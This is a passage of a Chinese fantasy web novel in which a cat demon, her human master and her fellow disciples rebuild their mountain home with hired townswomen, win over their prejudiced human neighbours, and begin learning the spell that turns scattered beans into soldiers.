小狐狸看得羡慕,但又不好意思直接拜师,就眼巴巴的看着风朔。 风朔捏了捏小狐狸的根骨,有些意外:“阿琅的资质也很不错啊。” 她笑着问:“你想拜师吗?” 小狐狸使劲点头,羞涩但坚定:“想!” 风朔拍拍她的脑勺,干脆又收下一个小徒儿。 “哈哈!以后我们就是真真正正的一家人啦!”风妧揽着衔蝉和阿琅,大声喊:“大师姐,小师妹!” 小狐狸抖了抖耳朵脆生生的喊了一声大师姐二师姐,开心得直摇尾巴。 “好了孩子们,山下的事情暂时就这样了,咱们先回山上去吧。” 山上还有被降妖师打坏的田地和房屋需要修整重建,这可比山下的事情麻烦多了。 衔蝉挠了挠头:“啊?师尊你不管那个幕后黑手吗?咱就直接回山上了?” 风朔摇摇头:“都过去这么多年了,也不急在这一时。” 而且她现在已经都已经从崖底出来了,以后有的是时间去细查这事。 衔蝉点点头:“好嗷。” 风妧又举手:“娘!我又想起来一件事!” “先前那些风氏的降妖师说什么岭山封印松动,说如果你收到了消息就会回天师堂,你要回去吗?” 风朔摆手:“不急。” 岭山封印没那么容易被破,天师堂会派去的降妖师里也不差她一个。 要是事态真紧急了,她再回去也不迟。 “那风氏呢?他们一直在找你哎。” “风氏更不用管。”风朔毫不在意地说道:“他们找他们的,我们回我们的,不相干。” 反正用脚指头想都知道他们找她肯定没什么好事。 当年她就是在天都长大的,风氏本家什么鸟样她可太清楚了。 风妧想了想,有点担心:“可是,他们要是知道你回来了,会不会来抓你回去啊?” 风朔曲起指头弹了风妧一个脑瓜崩:“别把你娘想得那么弱。” 风氏的人想抓她回去?不如做梦更快。 “可是娘你的腿”风妧心疼的摸了摸风朔枯瘦的双腿:“真的没事吗?” 风朔捏她腮帮:“又不是什么致命伤,不要紧,别多想。” 就算双腿残了,她照样能把风氏那些老家伙按着打。 而且,这腿也不是不能治只要灵力补足,她的双腿还是有痊愈的希望的。 衔蝉拍胸脯:“师尊放心!等回山上我天天给你开小灶补灵力!” 风朔笑着摸摸猫耳朵:“好,多谢乖徒。” 衔蝉嘿嘿笑了一声,然后师徒四个在风府里收拾了些东西,就准备回山上去了。 她们从风府里出来的时候,发现门外全是平安镇上的老百姓。 萧慧和苗大娘她们站在最前面,半是忐忑半是期待的看向衔蝉和阿琅。 猫和小狐狸看到她们,连忙从师尊腿上跳下来,变成人形向她们道谢。 “刚刚谢谢大家帮阿琅说话!”衔蝉握拳:“以后你们的山货我们都包啦!” 随后她环视众人:“我们的确是妖,但我们也分得清好坏,所以请大家放心,日后咱们还是邻里乡亲!” “我可以向大家保证,以后如果山上有妖下山作恶,我一定会下来清理门户的!” “但我也希望大家可以保证以后不要针对我们山上的小妖,不要欺负她们,不然我也不会坐视不理的!” 萧慧和苗大娘带头给猫鼓掌。 “衔蝉,我们相信你!” 这些日子大家都没少跟她们相处,也在她们摊子上买了不少好东西,对她们的人品,嗯,妖品,还是很信得过的。 反正在山货小摊上买过东西的和卖过东西给她们的都很相信衔蝉她们。 但也有人不信。 有些人心里还是嘀咕着什么,但看风朔也站在衔蝉她们那边,又不吭声了。 没办法,整个平安镇都得靠风朔镇守呢。 以前她不在的时候大家都战战兢兢的,一听说哪里闹妖精了就心慌,现在她终于回来了,谁也不敢把她气走。 所以那些心里有意见的人只能把意见憋回去。 风朔也知道肯定有人有意见,但她不在乎那些人的意见。 她不是那种不分青红皂白上去就除妖的人。 人有好坏,妖也是。 所以风朔不会为了顾及一部分人的想法或者自己的名声之类的东西而对衔蝉她们动手。 开玩笑,衔蝉可是她的乖徒,她怎么可能帮着外人欺负她? 于是风朔趁着现在就跟所有人说明白了,告诉镇上的大家,衔蝉已经拜入她门下,日后请大家看在她的面上跟衔蝉她们好好相处。 她都这么说了,众人自然只能应是。 “衔蝉,以后你们和以前一样下山来,我还给你们带炒豆啊!” 苗大娘朝衔蝉挥挥手:“都乡里乡亲的,常来往啊!” 衔蝉笑眯眯的:“哎!好嘞,苗大娘,下次我们山里桃子熟了也给你带点来呀!” 萧慧也笑着说:“之前的甘草和板蓝根都很好,以后如果山上又有什么好药,请给我留一些。” 衔蝉大力点头:“没问题!” 还有摊子上的老客也纷纷说以后有山货给她们留点,大家还没吃够呢。 衔蝉一一应下。 随后她们便跟大家告辞,回山上去。 临走之前,肉铺老板还悄悄给阿琅塞了一包臊子,又轻轻摸了摸她的耳朵。 小狐狸有点不好意思,想给老板掏点钱,但肉铺老板坚决不收。 就这样,平安镇上的百姓或高兴或新奇或不满的接受了有妖跟大家做邻居的事实。 有一些微小的改变,也在悄悄发生着。 另一边。 衔蝉师徒四人很快就到了小南峰山脚下。 衔蝉当即就撸袖子要背着风朔上山。 “先别急。”风朔叫停了爱徒,“重新在山下布一个新的阵法吧。” 不是她信不过镇上的人,而是要防着那些一杆子打死的降妖师。 衔蝉:“昂!好的!” 她都差点忘了这事了! 不过猫还是有点担心:“师尊,你伤还没好呢,现在布阵会不会让你更虚弱啊?” 猫耳朵被弹了一指头。 风朔随意道:“布阵是用手又不是用腿。” 这对她来说压根没难度。 衔蝉:好吧。 师尊真厉害! 抖了抖耳朵,猫又大声说:“师尊,我也要学布阵!” 风妧举手:“还有我!我也要学!” 自学可太难了! 小狐狸没大声说,但也满眼期待的举起了爪。 风朔笑了。 徒儿们都很好学,她很欣慰啊。 于是她一边讲解,一边布阵,现场做示范。 但她刷刷刷一通操作后,再转头一看,三个徒儿的眼神都已经放空了。 风朔:“学会了吗?” 衔蝉/风妧:“学废了。” 小狐狸羞愧的低下了头。 太难了!她们一句都没听懂! 虽然好像师尊说的每个字都能听清,但这些字是怎么连在一起的呢! 跟天书似的! 看着三颗垂头丧气的脑袋,风朔这才反应过来,自己好像教得略快了亿点。 衔蝉倒是学过一些基础,但她满打满算也才学了大半个月,进度再快也不可能一夜之间就学会所有技能。 风妧也有一丁点基础,但不多,并且还有很大部分是她自学劈叉了的,跟没基础似的。 小狐狸就更不用说了,别说什么功法了,就连文化程度也只比文盲稍微好一点。 她学认字的时间加起来都还没两个月呢。 风朔:得,慢慢教吧。 好在三个师姐妹虽然基础不咋地,但学习态度很端正,资质也很不错。 在风朔放满了讲解速度后,她们多多少少就能听懂一些了。 这样一路教一路学,等回到小泉峰上的时候,天都黑了。 小妖们都在山上翘首以盼,看到衔蝉她们的身影出现了,这才一窝蜂的涌上来。 “大王!太上皇!你们终于回来啦!” “风妧,阿琅!哎呀!阿琅怎么了?受伤了呀?” “啊!阿琅受伤了!板板!快来!我们拔点叶子给阿琅吃吧!吃完阿琅就好了!” “来了来了!阿琅,给!” 小妖们叽叽喳喳的把衔蝉几人围在中央,嘘寒问暖。 “大王怎么才回来呀?阿琅怎么会受伤?遇到坏蛋降妖师了吗?” 衔蝉摇摇头,跟大家解释了一下今天的状况。 “阿琅是被山下的一个坏老登暗算了的,所以以后大家下山也要小心一点喔!” “不过也不用太小心,因为今天咱们已经跟山下的百姓说好了,以后大家和睦相处!” “对,我们是妖的事情大家已经知道了。” “以后大家下山可以不用太遮掩自己了,但还是先说好,不会化形的不许下山!” “不然遇到外面来的降妖师,跑都跑不赢!” 衔蝉认真叮嘱小妖们,告诉大家以后可以继续去山下卖货,但只有化形了的妖才能下山。 不能化形的就继续留在山上修炼,干活。 小妖们齐刷刷的点头:“我们记住啦!大王!” 衔蝉满意的点点头,又说:“今天已经很晚了,明天咱们就起来重新翻地,修房子!” 小妖们:“好的大王!” 大家簇拥着衔蝉师徒四人,热热闹闹的围在篝火边吃了顿热乎乎的晚饭。 第二天。 山上所有人和妖都起了个大早,简单的吃了早饭后,衔蝉就带着大家忙活起来了。 “三姑,你带一队妖,清点一下我们的存粮还有多少!” “三参,你带一队妖去翻地,顺便把堆肥坑的灵力也补齐。” “桃子,板板,你们各带一队妖负责催生种子,准备播种。” “胡图,你带一队妖去砍竹子,修房子!” “战斗小队暂停训练,现在有师尊布下的阵法,咱们先把家园重建起来!” “得令!” 把大家都安排明白后,衔蝉琢磨着,这次要重建就干脆建个大的! 以前的小竹屋反正都塌了,趁着这次就重新修成正儿八经的房子。 正经的房子是要烧砖瓦的,山上没有这些东西,还是只能下山买。 本来这不是什么大问题,现在账户上的银子还蛮多的,拿去买砖瓦石灰修房子完全不在话下。 可问题是,那些银子本来都是风妧的嫁妆来着。 衔蝉挠了挠头。 以前她拿着这些银子感觉还没什么,毕竟那是跟风妧“分赃”的嘛。 可现在不一样了啊! 现在猫拜了风朔为师,又成了风妧的师姐,这样一想,再占着她的嫁妆好像就不太好。 一想到这,猫又期期艾艾的去找了风妧。 “咳,师妹啊,你那个嫁妆,我还是还给” “还什么?”旁听的风朔好奇问了一句。 衔蝉很不好意思的小声答道:“就,师妹的嫁妆啊。” 风妧马上跳起来:“嗷!那个就不用了吧!我们当初说好的五五分哎!” 她把来龙去脉一说,风朔也点了点头。 “是这个理,衔蝉,那些银子你就安心收着,不用想太多。” 她笑道:“反正以后我的遗产也是要留给你们继承的,现在你们自己分好了,倒更方便了。” 衔蝉顿时感觉自己占了个大便宜。 她良心有点不安,但风朔和风妧都坚持让她收着那些银子。 “唔,好吧。”猫下定决心:“师尊师妹放心,这笔银子我一定不会乱花的!” 她会把这些钱都花在该花的地方,把东坡子洞做大做强! 这样师尊和师妹以后也能在山上过得更好! 风朔和风妧都给衔蝉竖起了大拇指。 这个问题解决了,猫又想到了下一个问题。 “咱们山上没有会修正经房子的妖,要不,下山去请一些老师傅?” 不然就靠她们这几十个生手,还不知道要修到猴年马月去。 “可以。”风朔第一个赞成:“跟山下百姓多来往不是坏事。” 她没有种族之见,自己也是人类,当然乐见于毛绒绒爱徒们跟同族和睦相处。 虽然中州大陆上绝大部分地方人和妖都势同水火,但风朔真心觉得那样并不是长久之道。 人和妖已经敌对了上百年,持续互杀下去,对哪边来说都不是好事。 要是能让两族和平相处,共求发展,那才算得上是盛世。 平安镇,或许就可以先给大家开个好头。 所以风朔很支持衔蝉下山找老师傅来帮忙修房子。 “好!那房子的事情就这么说定了!接下来是田和地!” “嗯,田地都再多开垦一些出来,房子也多修一点,这样以后有新妖来投靠了才有地方住,有饭菜吃。” “还有仓库粮仓,武器库,工具库,种子库,和练功的广场之类的,都要修起来。” 猫拿着纸和笔,想到什么就记什么,很快就记下了一大页纸。 她低头看了看自己写满字的纸:“喔!以后账簿什么的也要升级一下,现在这个册子太简略了。” “以后账簿,妖口登记簿分开来,再弄个档案册,把所有资料都归档,方便查阅。” “嗯,那还得在山上普及一下教育,不然大家都不识字,那多不方便呀。” 衔蝉一边絮叨一边写。 这时候山上大部分妖都已经被安排去忙活了,东坡子洞里只剩下了衔蝉风朔风妧和还在养伤的小狐狸。 小狐狸也想爬起来跟大家一起干活,但被大家按回去了。 “阿琅你就好好养伤,养好了伤再说!” 小狐狸只好重新卧回去。 风妧举手:“那我呢!我要干嘛?我还没领到活儿呢!” 衔蝉叉腰一笑:“师妹!你跟我一起,哪里需要往哪搬!” 然后再狗腿的给风朔捏捏肩:“师尊,你就先跟小狐狸一起养伤休息嗷!” 风朔笑着点点头:“好,你们去忙吧,有什么事情记得来叫我。” “好嘞!” 衔蝉和风妧一前一后的跑出去当哪里需要往哪搬的砖了。 被降妖师乱打了一通后的山上惨不忍睹,到处都是坑坑洼洼的,到处都需要重修。 说是百废待兴也不为过。 衔蝉捂着心口,强忍着心绞痛,跟大家一起重新翻地,再找出种子重新播种。 大家齐心协力,这个活儿又没什么技术含量,因此完工得最快。 半天之后,山上的田地就都清理出来了。 新催生出来的作物小苗翠绿翠绿的在风中摇摆,让山上看上去终于没那么秃了。 衔蝉看着重新焕发出生机的田地,想了想,又召出了藿麻。 她围着田埂,种了一圈藿麻。 小妖们都没见过这么高的藿麻,有的还好奇的想伸爪摸一摸。 衔蝉拍掉一只毛乎乎的爪子:“这个可不能摸!有毒的,扎到爪会很痛的!” 小妖便吓了一跳:“啊!有毒?!大王,我们种有毒的粮食做什么呀?” 衔蝉:“用来防老鼠和坏人的!而且它的毒性我可以控制,咱们想换口味的时候还可以拿它做野菜羹吃。” 藿麻的刺煮软以后就不扎嘴了,还挺好吃的呢。 小妖一听又高兴起来,用崇拜的眼神看着衔蝉。 衔蝉悄悄竖起尾巴,继续忙活。 地里的活差不多了,她又重新规划了几块荒地,让大家继续开垦。 小妖们都很勤快,马上照着大王的命令,满山开荒。 看着大家忙碌的身影,衔蝉伸了个懒腰,又把目光投向下一处。 房子暂时急不来,要选好地基了再下山去找老师傅,所以现在大家先凑合凑合住小泉峰上没塌的竹屋就好。 所以这个也可以先略过。 衔蝉站在山顶的大石头上,看了一下附近的几座山头,一拍脑袋,又做了个新的决定。 “我们在山上修几条路吧!” “不然每次都上山下山的好麻烦。” “大家在山上干活也不方便,光是爬山就要花很长的时间。” 现在猫的地盘有三座山头,如果不打通这三座山的话,那大家每天都得在三座山上跑来跑去的。 但修了路就不一样了。 把三座山的路打通,不仅减少了来回跑的时间,还大大的方便了以后运送物资或者调派人手。 俗话说得好,要致富,先修路嘛。 风妧对衔蝉的决定十分支持:“有道理!那就修吧!” “不过咱们要从哪里开始修?山脚?山腰?” 衔蝉把手搭在额头前遥望了一下自己的地盘,思索了一会。 “山脚山腰都修!除了上山下山的路之外,咱们再在几座山之间修几座打通的桥吧!” “行!那我们来合计合计这个桥要怎么修。” 风妧拿来一根木棍,找了块平地开始画线。 她先画了三座“品”字形的山头,正是小南峰,东山,和小泉峰。 风妧在地上画了一条线,把小南峰和东山连在一起,又画了两条线,让三座山都连接起来。 “这样修三座桥行不行?” 衔蝉过去蹲在她身边,摸了摸下巴:“我觉得可以。” 但具体要怎样做,对不起,这就涉及到她的知识盲区了。 第64章 修桥和修房子都属于很有技术含量的活。 尤其是修桥, 要是没点经验和技巧,就算勉强修出一座桥,也不一定真能用。 要是没修好, 万一桥塌了, 不仅白费功夫,还有可能造成伤亡。 所以这活可不能凑合。 “啊, 算啦,修桥也一起去找老师傅吧, 这个活咱自己干不了,只能打点杂。” 衔蝉挠挠头,果断选择把专业的事交给专业的人。 风妧点头:“成,那咱现在就下山去找人?” 衔蝉:“嗯呐!我去找阿琅拿银子!” 说着就往东坡子洞里跑,不一会, 衔蝉就揣着银票,跟风妧一起下山去了。 山下的镇子上又恢复了以往的热闹。 先前林时造谣说闹妖精的时候大家关门闭户的可被吓坏了,但现在风朔回来了,人们就又元气满满的恢复了往日的生活。 衔蝉和风妧走在街头巷尾,还有熟人跟她们打招呼。 “衔蝉!风大小姐,下山啦?回来有什么事吗?还卖山货不?风大人呢?她还好吗?她真不回风府住啦?” “嗯呐, 我们这次下山不是来卖货的, 是想找点老师傅帮忙修桥修房子。” “我娘好着呢,风府也没说不回了, 只是以后我们会更经常住山上。” 师姐妹两个一边回答大家的问题,一边往风府走。 她们准备去找个牌子,写个招聘告示出来。 她俩速度很快,没多久就在风府门口张贴了一张招工的告示。 为了防止有人不认识字,衔蝉和风妧还轮流吆喝。 “咱山上要修桥修房子, 重金招聘有经验的老师傅!有意向的老师傅请来风府详谈!” 她俩吆喝得大声,没一会就吸引来很多人围观。 一听说她们山上要修桥修房子,众人顿时叽叽喳喳起来。 “山上要修桥修房子?山上不都是妖吗?妖也要过桥,住房子?” “话本子上说,妖都是住在黑漆漆的山洞里,从不修房子!” “哎,听说妖要吃人的,这不会把咱们骗去山上吃了吧?” “不会吧,风大人还在山上呢。” “风大人也只有一个人,她管得住满山的妖都老实听话吗?” “不成不成,给妖精修房子还是太危险了,万一哪个妖忽然凶性大发要吃人,咱区区凡人,跑也跑不掉呀!” “这说是重金招工,但谁知道会不会有命赚钱没命花!” 这些揣测都没压低声音,似乎就是故意要说给衔蝉和风妧听的。 而且本来有些意动的人都被说得犹豫起来。 衔蝉有些生气,她叉着腰朝那几个嗓门最大的男人喊道:“喂!你们说什么呢!” “妖怎么就不能过桥住房子了?我们也照样要吃饭睡觉的,跟你们没区别的好吧!” “你们自己不来就不来,在这里煽动人心干嘛?故意来捣乱的吗?!” 那几个男人马上抱着头大喊:“妖精吼人了!她要发凶性吃人了!大家快跑啊!” 说着居然真的扭头跑了,连带着把一大半的人都忽悠得跟他们一起跑了。 顿时原地就只剩下了三分之一的人,并且大多数都是老弱妇孺。 被煽动的壮年男人几乎都跑光了。 衔蝉:“” 衔蝉不高兴了。 本来她以为跟大家说清楚了以后就可以继续好好相处了,没想到有些人心里还是对她们有成见! 就因为师尊没跟着一起下山,所以那些坏家伙演都不演了! 可明明她们这些日子下山什么坏事都没干过! 衔蝉很不高兴,风妧也生气了。 她朝着那些跑掉的人大喊:“你们有本事造谣,以后有本事也别买我们山上的山货!” “跑就跑,咱们也不稀罕你们!哼!” 风妧骂骂咧咧:“我就不信了,难道全平安镇上都找不到人帮我们修桥修房子!” 她气鼓鼓的当场提价,按市价的两倍招工。 于是刚刚跑掉的一部分人一听又倒了回来。 但风妧看都没看他们,而是对刚刚留下来的人说:“乡亲们!你们愿意帮我们修桥修房子吗?” 人群中忽然站出来一个大娘。 “修桥我不懂,但修房子我有经验啊!我们家的房子都是我们自己修的!” 衔蝉眼睛一亮:“苗大娘!你愿意帮我们修房子吗?” 苗大娘笑呵呵的:“可以的呀!” 其实她不算特别专业,要是修风府那种豪宅,她是不太行的,但如果只是修普通的砖瓦房,她还是可以的。 而且她站出来就是想给衔蝉撑场子。 她跟衔蝉认识得最久,也了解她的为人和性格,愿意相信她。 她不知道那些男人嘴里说的“非我族类其心必异”是什么意思,她只是用朴素的善恶观判断衔蝉不是坏妖。 所以她就站出来了。 衔蝉很高兴,当场就把苗大娘拉到身边。 “谢谢你,苗大娘!你放心,我们山上的妖都是好妖,不会伤害你的!” 苗大娘点点头:“我信你们,你们姑姑,还有三参和阿琅,都是好孩子,我知道的。” 衔蝉开心的“嗯!”了一声,然后继续招工。 因为山上的规划是个大工程,光靠一个人是修不起来的。 让猫高兴的是,有了苗大娘第一个站出来,很快就有了第二个。 是曾经在山货摊子旁跟衔蝉一起摆过摊的杂货摊主。 “修房子我不会,但我会烧砖瓦。” 她站出来,问衔蝉:“小老板,你们缺会烧砖瓦的人吗?” 她有点不好意思的捋了捋头发:“我家那口子去年病死了,现在我一个人带着孩子,家里吃用都紧巴得很。” 所以她想争取到这个机会,赚些钱回去养孩子。 衔蝉:“可以的可以的!大姐你也来吧!我们正缺会烧砖瓦的人呢!” 第二个专业人士也招到了。 风妧继续吆喝:“还有没有会打地基,修桥铺路的人呀?” 人群中,陆续举起了几只手。 风妧定睛一看,竟然还有几个刚刚跑掉的男人也举了手。 但她还在生气,就故意略过那几个男人,看向另一个阿婆。 “阿婆,你会修桥铺路吗?” 看起来很硬朗的阿婆站出来说道:“会的,我爹当年就是修桥匠,咱隔壁镇子的两座桥都是他修的。” 所以她也跟着学了很多专业的知识。 并且她还有很多实践经验。 现在虽然年纪大了干不了太多力气活,但像在哪里能修桥,用什么材料修桥之类的技术活她都能干。 只要给她配些相应的力工,她领头带人修桥完全没问题。 衔蝉一听大喜,连忙把阿婆也加进招工名单里。 这之后的事情就顺利了。 只要有了带头的人,后面的人就没那么多顾虑了。 衔蝉和风妧很快就招齐了一个以专业技术人员为主的建筑小队。 并且非常巧合,这个队伍里的都是女人。 有些男人见到衔蝉和风妧故意跳过他们去招女人,就又有话说了。 “哎!咱们也举手了,你们怎么不招咱们,反而去找一群女人?” 衔蝉翻了个白眼:“你不要以为我刚刚没听见你说咱们山上的妖会吃人!” “既然你对咱们有意见,那咱们哪敢劳你的大驾!” 猫阴阳怪气:“你就不怕跟我们回山上之后被我们抓去吃了?” 那人讪讪的,还想说点什么,但衔蝉和风妧完全不鸟他,已经收起告示准备带人回山了。 “走喽,回去修桥修房子喽!大家放心,我们山上没有吃人的坏妖,而且也都是女孩子呢!” 女人们一听,顿时更安心了。 山上都是女妖的话,就不怕不方便了。 一行人收拾收拾,跟着衔蝉和风妧往山上走。 路上暂且不提,在衔蝉和风妧的带领下,建筑队穿过阵法,来到了第一座山头。 苗大娘好奇的看着在地里忙活的小妖们,感慨了一句:“这跟咱们山下也没什么区别嘛。” 众人纷纷点头,可不是嘛! 虽然没有山下的村镇那么多的房子,但是看这些一块一块的田地,和在地里干活的小妖,这不活脱脱就是另一个村子嘛。 只不过村民不是人而已。 有些小妖还毛手毛脚的,但她们并没有青面獠牙,样子也不可怕。 她们有的顶着个毛绒绒脑袋和尾巴,有的穿着半截衣裳,人模人样的在地里浇水施肥,竟还很有些憨态可掬。 再看那些已经可以化人形的小妖,一个个脸上也是带笑的,看着并不难相处。 三参看到衔蝉和风妧带着人回来了,连忙迎了上来。 “大王!二大王!你们回来啦!咦!苗大娘!你也来啦!你是来帮我们修房子的吗?” 苗大娘就笑:“是啊,三参,好久不见了哦,你又长高啦。” 三参笑嘻嘻的:“嗯呐!” 她俩说话的时候,其余人就在悄悄地看她们,看山上的一切。 大家都很好奇,但没有人咋咋呼呼的对山上的一切发表什么不好的看法。 哪怕看到山上那些倒塌的简陋的小竹屋,大家也没说什么。 衔蝉带着人,先招待大家吃了一顿热腾腾的午饭。 小妖们端来大锅饭,摆在一字排开的露天桌子上。 这些桌椅板凳都是用山上的木料做的,桌上的碗筷都是在山下买的粗陶碗,跟普通的农家生活也没什么区别。 再看碗里的饭菜。 基本上都是大家在山货摊子上见过的粮食做成的菜式。 米饭是小妖们自己种的稻谷打成的新米做的,还有各种蔬菜瓜果,现杀的鸡鸭还用果干泡了甜茶。 满桌饭菜都不怎么精细,做法大多是水煮或者火烤,调料也只有盐,但就是散发着一股让人熨帖的家常气。 衔蝉端起一杯甜茶敬大家:“我们山上生活比较简单,饭菜也是粗茶淡饭,大家别嫌弃。” 苗大娘第一个端起茶杯回敬衔蝉:“这已经很好啦!这些饭菜闻着就香呢!” 众人纷纷点头称是。 这确实是实话。 小妖们种出来的山货,用的都是掺了灵力的肥料,个个作物都长得水灵得很,味道也香。 这些含有微量灵气的作物,即便凡人感受不到灵力,也会本能的觉得好吃。 再加上建筑队的人都是山下的老百姓,也没吃过什么山珍海味,大家平时吃的也是这些东西。 因此所有人都对这顿饭没有意见,都吃得香甜。 猫让小妖给还在静养休息的师尊和小狐狸端了两份饭菜过去,然后就很有主人意识的跟风妧一起招待大家吃饭。 山上的桌椅不多,建筑队来了,有些小妖就很自觉的端着饭碗去旁边站着吃或者蹲着吃。 人类看得心里不忍,干脆大家挤挤,拼桌吃。 来的人类都是对妖没有偏见的,跟山上这些心思简单的小妖竟很合得来。 于是大家一边吃一边聊,就一顿饭的时间过去,人和妖之间就很有些交情了。 饭后,山上的重建就正式开工了。 衔蝉把山上的所有小妖全部召集起来,然后分成不同的队伍,给建筑队人专业人士打下手,做力工。 她自己也加入到了最累的队伍里,跟小妖们一起搭砖瓦窑。 风妧则跟那位会修桥的阿婆一起去勘探地形,寻找适合的架桥的地点。 白三姑就带着一队小妖专做后勤,在大家干活的时候,她们就已经忙着做晚饭了。 这么多人和妖的晚饭可不好做,一忙就是小半天。 三参也加入到了伐木队伍里,屁颠屁颠的一边干活一边跟人类学习建筑知识 整个山上都动员了起来。 在大家的齐心协力下,第一天下午,该打地基的地方就清理出来了,砖瓦窑也修好了,木料石料也都准备了一大堆。 累了一天的衔蝉很有成就感的看着刚修好的砖瓦窑,仿佛已经看到了未来的美好生活。 太阳下山后,她就带着大家收工,这时候白三姑她们也刚好做好了晚饭。 人和妖照旧挤在一起吃晚饭,热热闹闹的。 白三姑却悄悄地拉了拉衔蝉的袖子,低声问她,晚上要安排人们住哪? 现在只有小泉峰上还有一排竹屋,东山和小南峰上的竹屋早就被打塌了,这会还没重建起来呢。 所以要把建筑队的人类安排在哪住是个很严肃的问题。 衔蝉摸了摸下巴,问:“能不能挤一挤?” 小妖们可以变成原型,这样占地面积就小了。 再搭个临时的大通铺,大家凑合凑合先住着,等新房子修好了,再安排宿舍。 白三姑:“我们都可以,但是不知道人类能不能接受?” 她们毕竟是妖,要是跟她们一起睡大通铺的话,那些人类会愿意吗? 白三姑心里还是有点忐忑的。 但衔蝉就完全不顾虑什么,当场就扬声问大家:“咱山上的房子还没修好,大家愿意跟我们山上的妖挤挤大通铺吗?” “她们可以变回原型,不会很占地方的!” 人类们愣了一下,然后兴高采烈地点头。 “可以啊!我们愿意!” 她们还没见过变成原型的妖呢! 人都是有好奇心的,尤其是在不需要操心安全的时候,人类总是好奇心爆棚。 所以人类们不仅不介意,还很有些跃跃欲试。 小妖们也觉得很新奇。 三参往苗大娘身边挤了挤,朝她眨眼间:“苗大娘!今晚我挨着你睡怎么样!” 苗大娘:“好啊!哎,三参,你的原型是什么?” 三参当场就噗的一声变成了原型。 苗大娘看着满地乱跑的白萝卜,陷入了前所未有的茫然中。 嗯她只听说过人参娃娃会跑,但三参这白白胖胖的怎么看怎么像萝卜嘛所以她的原型究竟是什么? 苗大娘思忖了一会,决定选个好听的问问三参。 她问:“嚯!三参,你是人参娃娃吗?” 三参的叶子一下子就支棱起来了! 她迈着原型的三条萝卜腿跑到苗大娘面前,叉腰:“是的!苗大娘你眼光真好!一下子就看出来了!” 这可是迄今为止,第一个一眼就准确认出了她跟脚的人哎! 三参高兴极了,叶子都在抖。 苗大娘也很高兴,她一猜就猜对了! 至于三参这幅萝卜样,她决定理解为人参娃娃的伪装。 想了想,苗大娘悄悄地跟三参说:“三参啊,那你平时要小心点哦,不要被那些挖参的人挖去卖掉了。” 她细细叮嘱三参:“没成精的人参都很值钱的,你成了精,肯定有更多坏人想把你抓去卖掉。” 三参挺胸:“我知道的!” 她可聪明了,她会跑呢!跑得可快了! 这些年都没人能抓到她! 苗大娘一听就放心了,她给三参竖起大拇指:“就是要小心些,小心无大错!” 三参被夸得高兴,当场拔下一片叶子递给苗大娘:“苗大娘,这个送给你!” 苗大娘愣住:“啊?你就这么把叶子拔了?不痛吗?” 三参摇头:“我的叶子跟你们的头发差不多啦!拔一点没问题的!” “你不用担心我,快吃我的叶子,大补的哦!” 盛情难却,苗大娘只好把生的萝卜缨子塞嘴里咬了一口。 “哎!这人参叶子好吃哦!脆脆的还有点甜呢!”她眼睛亮了。 三参得意的跳上椅子:“是吧是吧!又好吃又大补!” 她们在这边相谈甚欢,旁边别的人类和小妖也已经热火朝天的聊到某些毛绒绒话题了。 胡图变回原型,蹲在一个大姐的腿上,舒服的眯着眼睛被顺毛。 大姐还笑:“在山下的时候,我一直想养个兔子,可惜没机会,现在反倒能摸兔子了。” 她夸胡图:“胡图,你的毛好顺滑啊,真好摸。” 胡图被夸得耳朵都支棱起来了,三瓣嘴一动一动的问:“那我们今晚上挤一起睡吧,我给你摸!” 大姐一下子就笑得更开心了:“好啊!” 白三姑也在大家的起哄下,变回了原型。 “嚯!这大鸽子长得真俊哪!跟大白鹅似的!真精神!” “我从没见过这么白这么大的鸽子,真长见识了呀!” 大家一边说一边夸白三姑的原型,把有些怕人的白三姑都夸得不好意思了。 她都这样了,别的小妖更不用说了。 顿时饭桌上就多了一群小羊小兔小鹿还有一只敦实的大橘猫。 衔蝉往那一站,大家就齐声惊呼。 “哇,衔蝉这么大呀!跟个小老虎似的!看着比我们山下的小狗还大些呢!” 衔蝉挺直了胸膛。 她就是很大一只! 她打小就壮实,力气也大,不然当初怎么能做村霸呢! 大家看着她虎头虎脑的样子,连声夸赞,有些人还趁机问她能不能握握手摸摸头。 衔蝉很大方,伸爪挨个跟大家握手,可有大王风范了! 一顿饭下来,衔蝉大王的英姿又征服了一群人类。 到晚上睡觉的时候,还有人期期艾艾的表示想挨着衔蝉睡呢。 可惜衔蝉是不睡大通铺的。 她要回洞里去陪师尊和师妹。 风朔和小狐狸还在东坡子洞里静养,晚上可能会需要有人照顾。 所以大家非常遗憾的看着衔蝉的背影,然后跟自己的毛绒绒床搭子一起,睡了个美美的大觉。 第二天。 有了昨夜一起睡大通铺的交情,人们和小妖们彼此之间更熟络了,干活的时候也配合得更好了。 不过干活的时候还是人形方便,所以小妖们能化形都化作了人形。 衔蝉也变成了高高的人形,在三座山上跑来跑去,哪里需要她就往哪钻。 她每天从早忙到晚,几乎就没个休息的时候。 风朔看在眼里,心疼得不行。 这天晚上,她把猫叫过来,决定教她一些省力的新技能。 “衔蝉,你得学会用灵力帮你干活,不然光靠下力气,你得累死。” 确实累麻了的衔蝉变回原型,抖了抖毛毛,蹲好:“好的师尊,那我该怎么做呀?” 风朔点了点她的额头:“用你学的功法,把灵力运转起来,再召唤出你的藿麻,让它帮你干活。” “还有,撒豆成兵,想学吗?” 衔蝉眼睛都亮了:“想!” 这个一听就很厉害啊! 风妧和小狐狸也连忙举手:“我们也要学!” 风妧想学会更多的新技能,成为一个和风朔一样厉害的降妖师。 小狐狸想通过修炼,快点养好伤,跟大家一起去干活。 而且这几天小狐狸一边养伤,一边也在跟着风朔打基础。 短短几天过去,她也凝聚出妖丹了。 这速度,让风朔都很意外呢。 于是风朔就三个孩子一起教。 基础功法她已经教过了,现在就教一些进阶的本领。 比如教衔蝉如何把本命灵植用得如臂指使,又比如从聚灵开始教她们撒豆子。 “豆子只是一个媒介,重点是让它变成‘兵’的灵力和符文。” “灵力越充足,符文越高级,豆子撒出来变成的‘兵’就越厉害。” “学会这一招之后,既可以用来对敌,也可以用在日常生活上。” “来,衔蝉,你先来试试。” 说着,风朔就递给衔蝉一颗豆子,把口诀和符文教给她,让她先撒一个豆子兵出来。 第65章 衔蝉从前只在电视上见过撒豆成兵。 如今轮到她自己来学这个了, 她觉得十分新奇。 照着师尊教的法子,把灵力凝聚成驱动豆子的符文,再虔诚的念叨一句:“无所不能的灵力啊, 让豆子变成我的兵吧!” 说罢, 就学着风朔的样子把豆子往地上一撒。 圆滚滚的豆子在地上滚了几圈,然后噗的一声, 变成了一个能到衔蝉膝盖那么高的傀儡小人。 傀儡小人看上去很简略,没有五官, 四肢躯干倒像模像样的,乍一看,有点像个会动会跑的玩偶。 